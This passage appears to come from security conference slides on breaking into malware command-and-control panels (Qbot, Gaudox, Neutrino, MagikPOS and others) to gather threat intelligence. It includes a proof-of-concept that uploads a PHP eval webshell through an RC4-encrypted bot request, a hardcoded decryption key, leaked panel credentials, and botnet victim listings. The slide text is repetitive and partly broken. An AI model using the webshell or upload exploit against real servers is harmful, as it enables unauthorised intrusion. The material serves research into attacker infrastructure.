$query = mysql_query("UPDATE list SET Balance= $balance WHERE IMEI= 'IMEI' LIMIT 1", $db) or die(mysql_error());
$query_2 = mysql_query("SELECT * FROM list WHERE IMEI='$IMEI'", $db) or die(mysql_error());
$rows = array();
```
Method 16

Having admin panel access and webshell access is GREAT…

… but how about rooting the server?
Method 16 -- Remote command execution

- Win: root the C2 server
- HFS - Vawtrak hosting TinyLoader as downloader
Method 16 -- Remote command execution

- Win: root the C2 server
- HFS -- Vawtrak hosting TinyLoader as downloader
Method 17 – Shellshock (CVE-2014-6271)

- Win: gain C2 server access
- Sutra TDS – undisclosed

OS:
Linux: [redacted] 3.1.3 #1 SMP Mon Nov 28 00:18:51 MSK 2011 i686 i686 i386 GNU/Linux
path:
/var/www/[redacted]/data/www/goog[redacted].com

user id:
uid=500([redacted]) gid=502([redacted]) groups=501([redacted]),502([redacted])

Environment:
SERVER_SIGNATURE=<address>Apache/2.2.23 (CentOS) Server at goog[redacted].com Port 80</address>
HTTP_USER_AGENT=Mozilla/5.0 (Windows NT 5.1; rv:43.0) Gecko/20100101 Firefox/43.0
HTTP_X_FORWARDED_FOR=[redacted]
SERVER_PORT=80
HTTP_HOST=goog[redacted].com
Method 17 – Shellshock (CVE-2014-6271)

- Win: gain C2 server access
- Sutra TDS – undisclosed
Win: gain access C2 server

Android Fake-Angry

- Oracle WebLogic Server, versions 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 are affected
Method 19

Now that we can execute arbitrary commands and access arbitrary files…

… how to very quickly grasp what’s there?
Method 19 -- Webalizer/AWStat

- Leverage: Understanding a C2’s structure
- Northern Gold (Qbot)

<table>
<thead>
<tr>
<th>#</th>
<th>Hits</th>
<th>KBytes</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>2142342</td>
<td>732766</td>
<td>/</td>
</tr>
<tr>
<td>2</td>
<td>1306853</td>
<td>716881</td>
<td>/k</td>
</tr>
<tr>
<td>3</td>
<td>240434</td>
<td>69783581</td>
<td>/v</td>
</tr>
<tr>
<td>4</td>
<td>72215</td>
<td>20450287</td>
<td>/u_qbotinj.exe</td>
</tr>
<tr>
<td>5</td>
<td>12981</td>
<td>1121722</td>
<td>/w</td>
</tr>
<tr>
<td>6</td>
<td>12912</td>
<td>2420</td>
<td>/s</td>
</tr>
<tr>
<td>7</td>
<td>5259</td>
<td>1336859</td>
<td>/u_qbotinj.exe.pkg</td>
</tr>
<tr>
<td>8</td>
<td>2010</td>
<td>6220</td>
<td>/E/J2.JS</td>
</tr>
<tr>
<td>9</td>
<td>1825</td>
<td>1822</td>
<td>/</td>
</tr>
<tr>
<td>10</td>
<td>1522</td>
<td>408</td>
<td>/robots.txt</td>
</tr>
</tbody>
</table>

- Qbot gate
- Exploits go to sutra
- Qbot exe updates
- Qbot exe
- Webinjests for all
- Session spy
- Qbot exe updates
- Inject iframe redirection
Method 20

Let’s try some complex techniques!
Method 20 -- Path traversal

- Win: arbitrary file access
- MagikPOS

```php
<?php

class settings {
  //db
  const db_hostname = "localhost";
  const db_user = "root";
  const db_password = "password1";
  const db_name = "database1";

  //account
  const umb_username = "Magic";
  const umb_password = "password2";

  //platform

  //how many times a user can send bad authentication details
  const brute_ipban = 5;

  //login session duration in seconds
  const sessionTime = "3600";

  //folder names
  const umb_logsPath = "logs";
  const umb_updatePath = "$_updates";

  //encryption key
  const enc_key = "#%$%^*()<>.;'=-oqwertghniopl";
}
```
Method 20 -- Path traversal

- Win: arbitrary file access
- MagikPOS

Double click on any bot will show info in a new tab, click on a bot will select that bot and apply command!
If no bot selected the command will apply to all bots! Please Update Exe once a day for a better functionality!

BOTS:695 TOTAL PCS:63728 MONEY: $21242.67

<table>
<thead>
<tr>
<th>HwId</th>
<th>Location</th>
<th>Ip</th>
<th>Local Ip</th>
<th>Pc Name</th>
<th>System</th>
<th>Reg. Date</th>
<th>Heartbeat</th>
<th>Bins</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>California</td>
<td>71.215.114</td>
<td>10.1.22.5</td>
<td>VILL_01</td>
<td>Windows Server 2008 R2 Standard</td>
<td>26.01 10:16</td>
<td>04:45:15</td>
<td>0</td>
</tr>
<tr>
<td>3</td>
<td>Florida</td>
<td>21.166.90</td>
<td>192.168.3.10</td>
<td>WIN_01</td>
<td>Windows Server 2008 R2 Standard</td>
<td>28.01 10:18</td>
<td>00:29:11</td>
<td>1</td>
</tr>
<tr>
<td>4</td>
<td>California</td>
<td>21.166.90</td>
<td>192.168.3.9</td>
<td>ADM_01</td>
<td>Windows 7 Professional</td>
<td>26.01 10:29</td>
<td>00:25:35</td>
<td>0</td>
</tr>
<tr>
<td>5</td>
<td>Pennsylvania</td>
<td>54.166.57</td>
<td>10.1.1.12</td>
<td>COM_01</td>
<td>Windows XP</td>
<td>26.01 6:67</td>
<td>18:58:23</td>
<td>8</td>
</tr>
<tr>
<td>6</td>
<td>North Carolina 17</td>
<td>172.164.141</td>
<td>172.74.154.141</td>
<td>PNM_01</td>
<td>Windows 7 Professional</td>
<td>26.01 12:31</td>
<td>04:45:13</td>
<td>0</td>
</tr>
</tbody>
</table>
Method 21 -- File upload vulnerability (unrestricted)

- Win: arbitrary file access
- Jahoo spambot
Method 21 -- File upload vulnerability (unrestricted)

- Win: arbitrary file access
- Jahoo spambot
Method 21 -- File upload vulnerability (unrestricted)

- Win: arbitrary file access
- Jahoo spambot

```php
function main() {
    global $db,$smarty;
    $fileDir = "./files/";
    if (isset($_GET['action'])) {
        $action = $_GET['action'];
    } else {
        $action = $_POST['action'];
    }
    if(isset($_GET['do']))$do=$_GET['do'];
    else $do = $_POST['do'];
    /*
    Do save, del and add actions
    */
    switch($do) {
        case "save_file":
            if (is_uploaded_file($_FILES['bot_file']['tmp_name'])) {
                copy($_FILES['bot_file']['tmp_name'], $fileDir.$_FILES['bot_file']['name']);
            } else {
                
            }
    }
}
```
Method 22 -- File upload vulnerability (Satisfy prerequisites)

- Win: arbitrary file access
- Neutrino HTTP Bot (0day)
Method 23 -- File upload vulnerability via C2 communication

- **Win:** arbitrary file access
- **Gaudox Bot (0day)**
  - Hardcoded RC4 encryption key

```
.text:00408D11  mov    eax, dword_41015C
.text:00408D16  mov    dword_411464, eax
.text:00408D1B  mov    eax, dword_410160
.text:00408D20  mov    dword_411468, eax
.text:00408D25  mov    eax, dword_410164
.data:0041015C  dd 4512A7E5h
.data:0041015C  dd 696665BDh
.data:00410160  dd 2299FA23h
.data:00410164  dd 9A7D779h
.data:00410168  ; DATA XREF: sub_4071c0+179
.data:00410168  ; sub_4071c0+180...
.data:00410168  ; DATA XREF: sub_408790+50
.data:00410168  ; sub_408790+58
.data:00410168  ; DATA XREF: sub_408790+517
.data:00410168  ; sub_408790+595
.data:00410168  ; DATA XREF: sub_408790+523
.data:00410168  ; sub_408790+5a1
```
Method 23 -- File upload vulnerability via C2 communication

Gaudox Bot (0day)

```php
$QrSett = $conn->query("SELECT * FROM Settings");
$Sett = $QrSett->fetch(PDO::FETCH_ASSOC);

$keyhex = "E686C7C267C311A1066E3F97FBE52225";
$Sett["Key2"] = pack("H*", $keyhex);

_POST = array();
$ContentLength = $_SERVER["CONTENT_LENGTH"]; $Data = RC4($Sett["Key2"], KEY_SIZE, file_get_contents("php://input"), $ContentLength);
parse_str($Data, $POST);
```
Method 23 -- File upload vulnerability via C2 communication

Gaudox Bot (0day)
Method 23 -- File upload vulnerability via C2 communication

➤ Gaudox Bot (0day) POC

```php
// replace .htpasswd to remove PHP restriction
// $data="cid=./.htpasswd%00&src=&hdr=CLNT&cvr=3&fip=1&har=3&wiv=3&wsp=3&wed=3&wbi=3&wlg=3&wdr=3&pcn=3&usn=3
// r=3&cmd=3&ctp=3&bio=3&bmn=3&bvs=3&bsn=3&cpu=3&cmn=3&car=3&npr=3
// $size = strlen($data);

//upload webshell on the screenshots folder or upload to upon directories with ./
//746573742E706870.php
$data="cid=746573742E706870.php%00&src=3C3F70687020406576616C245F504F53545B676F6746775795D293B3F3E&hdr=CLNT&cvr=3&fip=1&har=3&wiv=3&wsp=3&wed=3&wbi=3&wlg=3&wdr=3&pcn=3&usn=3&ltm=3&cmd=3&ctp=3&bio=3&bmn=3&bvs=3&bsn=3&cpu=3&cmn=3&car=3&npr=3&
//vda=3&vrs=3&vrr=3&hds=3&pms=3&dbw=3&alb=3&anf=3&jvm=3&avs=3"

<size = strlen($data);

/* "php @eval($_POST[goodguy]);?>*/
$url = "http://192.168.139.134/Panel/order.php";
$encode = RC4($key, $keysize, $data, $size);
//echo $encode;
echo (POST_request($url, $encode));
```
Method 23 -- File upload vulnerability via C2 communication

Gaudox Bot (0day) POC

```php
<?php @eval($_POST[goodguy]); ?>
```

```php
$curl = "http://192.168.139.134/Panel/order.php";
$encode = RC4($key, $keysize, $data, $size);
//echo $encode;
echo (POST_request($url, $encode));
```
Method 24

How about the C2 server’s domain?
Method 24 -- Set-cookie

➢ Leverage: identify the actual C2 domains behind Nginx-based proxies

➢ Northern Gold
Method 25

How about the C2 server’s IP?
Method 25 -- PHPinfo

Win: Pinpoint C2 IPs
• Many actors enable PHPinfo
• Pinpoint C2 IPs from Nginx reverse proxies

Dridex 120

<table>
<thead>
<tr>
<th>Variable</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTTP_HOST</td>
<td>95.163.121.186</td>
</tr>
<tr>
<td>HTTP_X_FORWARDED_FOR</td>
<td></td>
</tr>
<tr>
<td>HTTP_X_REAL_IP</td>
<td>close</td>
</tr>
<tr>
<td>HTTP_CONNECTION</td>
<td>close</td>
</tr>
<tr>
<td>HTTP_USER_AGENT</td>
<td>Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0</td>
</tr>
<tr>
<td>HTTP_ACCEPT</td>
<td>text/html,application/xhtml+xml,application/xml;q=0.9,<em>/</em>;q=0.8</td>
</tr>
<tr>
<td>HTTP_ACCEPT_LANGUAGE</td>
<td>zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3</td>
</tr>
<tr>
<td>HTTP_ACCEPT_ENCODING</td>
<td>gzip, deflate</td>
</tr>
<tr>
<td>HTTP_REFERER</td>
<td><a href="http://95.163.121.186/i.php">http://95.163.121.186/i.php</a></td>
</tr>
<tr>
<td>HTTP_CACHE_CONTROL</td>
<td>max-age=0</td>
</tr>
<tr>
<td>PATH</td>
<td>/usr/local/bin:/usr/bin:/bin</td>
</tr>
<tr>
<td>SERVER_SIGNATURE</td>
<td>&lt;address&gt;Apache/2.2.22 (Debian) Server at 95.163.121.186 Port 80&lt;/address&gt;</td>
</tr>
<tr>
<td>SERVER_SOFTWARE</td>
<td>Apache/2.2.22 (Debian)</td>
</tr>
<tr>
<td>SERVER_NAME</td>
<td>95.163.121.186</td>
</tr>
<tr>
<td>SERVER_ADDR</td>
<td>85.163.113</td>
</tr>
<tr>
<td>SERVER_PORT</td>
<td>80</td>
</tr>
<tr>
<td>REMOTE_ADDR</td>
<td></td>
</tr>
<tr>
<td>DOCUMENT_ROOT</td>
<td>/var/www</td>
</tr>
</tbody>
</table>
Conclusion

➤ 25 proven threat intel gathering techniques
  • Who’s behind the campaign
  • Who’s being targeted
  • Understand infrastructure and tools in use
  • Obtain unreleased malware
  • Understand actor operation and strategies

➤ Most C2 panels contain vulnerabilities